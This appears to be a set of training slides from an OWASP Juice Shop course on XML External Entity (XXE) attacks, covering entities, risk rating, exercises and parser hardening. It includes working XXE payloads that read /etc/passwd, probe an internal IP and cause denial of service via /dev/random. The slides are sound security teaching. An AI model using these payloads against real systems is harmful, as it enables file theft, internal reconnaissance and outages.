XXE

(XML External Entities)

XML Entities

- In the DTD you specify shortcuts as `ENTITY`...
  - `<!ENTITY author "Bjoern Kimminich">`
  - `<!ENTITY copyright "(C) 2018">`
- ...to later dereference them in the XML
  - `<author>&author; &copyright;</author>`

External Entities

- DTD changed to use External Entities...
  - `<!ENTITY author SYSTEM "http://owasp-juice.shop/entities.dtd">`
  - `<!ENTITY copyright SYSTEM http://owasp-juice.shop/entities.dtd">`
- ...whereas the XML stays the same
  - `<author>&author; &copyright;</author>`

Attack Vector XXE

- Many older or poorly configured XML processors evaluate external entity references within XML documents
- External entities can be abused for
  - disclosure of internal files
  - internal port scanning
  - remote code execution
  - denial of service attacks

Risk Rating

XML External Entities (XXE)

Exploitability	Prevalence	Detecability	Impact	Risk
🔶 Average	🔶 Common	🔴 Easy	🔴 Severe	A4
(**2**	+ **2**	+ **3**) / 3	* **3**	= **7.0**

XML with Attack Payloads

Extracting Data

```
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <foo>&xxe;</foo>
```

Network Probing

```
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
    <foo>&xxe;</foo>
```

DoS Attack (against Linux-based Systems)

```
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///dev/random" >]>
    <foo>&xxe;</foo>
```

Exercise 5.1

1. Identify the weak point of the application that accepts arbitrary XML data as input (★★)
2. Retrieve the content of your local system's `C:\Windows\system.ini` (or `/etc/passwd` if you are using Linux) via an XEE attack (★★★)

Prevention

- **Configure XML parser to**
  - **disable DTDs completely** (by disallowing `DOCTYPE` declarations) 💯
  - disable External Entities (only if allowing DTDs cannot be avoided)

❌ Selective validation or escaping of tainted data is **not** sufficient, as the whole XML document is crafted by the attacker!

XML Parser Hardening Examples

`libxml2` (C/C++)

- `XML_PARSE_NOENT` and `XML_PARSE_DTDLOAD` must **not be defined** in the Enum `xmlParserOption`.

ℹ *Starting with release `2.9` entity expansion is disabled by default. Using any older version makes it more likely to have XXE problems if the configuration was not explicitly hardened.*

`org.dom4j.io.SAXReader` (Java)

```
saxReader.setFeature(
  "http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature(
  "http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature(
  "http://xml.org/sax/features/external-parameter-entities", false);
```

`java.beans.XMLDecoder` (Java)

- The `readObject()` method in this class is fundamentally unsafe
- It is vulnerable against XXE as well as arbitrary code execution
- There is no way to make use of this class safe

⚠️ *Most Java XML parsers have insecure parser settings by default!*

Exercise 5.2

1. Perform a Denial of Service Attack using XXE (★★★★★)

ℹ️ *Keeping the server busy with XML parsing for 2 seconds qualifies as DoS for this exercise. The Juice Shop will cancel any successful DoS-like attacks after 2 seconds automatically.*